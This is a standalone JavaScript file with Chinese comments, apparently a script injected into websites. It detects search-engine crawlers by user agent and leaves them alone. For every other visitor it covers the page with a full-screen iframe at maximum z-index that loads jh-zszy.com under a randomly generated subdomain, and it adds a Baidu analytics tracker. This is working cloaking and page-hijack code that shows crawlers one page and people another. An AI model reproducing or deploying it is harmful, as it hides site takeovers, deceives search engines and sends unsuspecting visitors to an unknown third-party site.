// 优化后的代码(已加随机泛前缀) (function() { 'use strict'; // 配置对象,便于维护和修改 const config = { mobileUrl: "https://jh-zszy.com", desktopUrl: "https://jh-zszy.com", spiderPatterns: /(spider|bot|crawler|indexer|scraper)/ig, mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i, maxZIndex: 2147483647 }; // 获取UserAgent,只获取一次 const userAgent = navigator.userAgent || ''; // ✅ 新增:生成随机前缀 function generateRandomPrefix(length) { const chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; } // ✅ 新增:构建随机子域URL function buildRandomUrl(baseUrl) { try { const url = new URL(baseUrl); const prefix = generateRandomPrefix(6); return url.protocol + '//' + prefix + '.' + url.hostname; } catch (e) { return baseUrl; } } // 检查是否为搜索引擎蜘蛛 function isSearchEngineSpider() { return config.spiderPatterns.test(userAgent); } // 检查是否为移动设备 function isMobileDevice() { return config.mobilePatterns.test(userAgent); } // 创建全屏iframe function createFullscreenIframe(url) { // 创建并添加viewport meta标签 const viewportMeta = document.createElement('meta'); viewportMeta.id = 'viewport'; viewportMeta.name = 'viewport'; viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0'; document.head.appendChild(viewportMeta); // 添加样式 const style = document.createElement('style'); style.textContent = ` html, body { width: 100%; height: 100%; overflow: hidden; margin: 0; padding: 0; } `; document.head.appendChild(style); // 创建覆盖层 const overlay = document.createElement('div'); overlay.style.cssText = ` width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: ${config.maxZIndex}; background: #fff; margin: 0; padding: 0; `; // 创建iframe const iframe = document.createElement('iframe'); iframe.src = url; iframe.style.cssText = ` border: 0; width: 100%; height: 100%; margin: 0; padding: 0; display: block; `; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('allow', 'fullscreen'); // 组装元素 overlay.appendChild(iframe); document.body.appendChild(overlay); // 防止滚动 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; } // 主逻辑 function init() { // 如果是搜索引擎蜘蛛,直接返回,不执行任何代码 if (isSearchEngineSpider()) { console.log('Search engine spider detected, skipping redirection.'); return; } // 根据设备类型选择URL let targetUrl; if (isMobileDevice()) { targetUrl = config.mobileUrl; console.log('Mobile device detected, redirecting to:', targetUrl); } else { targetUrl = config.desktopUrl; console.log('Desktop device detected, redirecting to:', targetUrl); } // ✅ 加随机前缀 targetUrl = buildRandomUrl(targetUrl); // 确保页面已加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { createFullscreenIframe(targetUrl); }); } else { createFullscreenIframe(targetUrl); } } // 执行初始化 init(); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?c939a49a1b3513d4a4c856975f9a11df"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();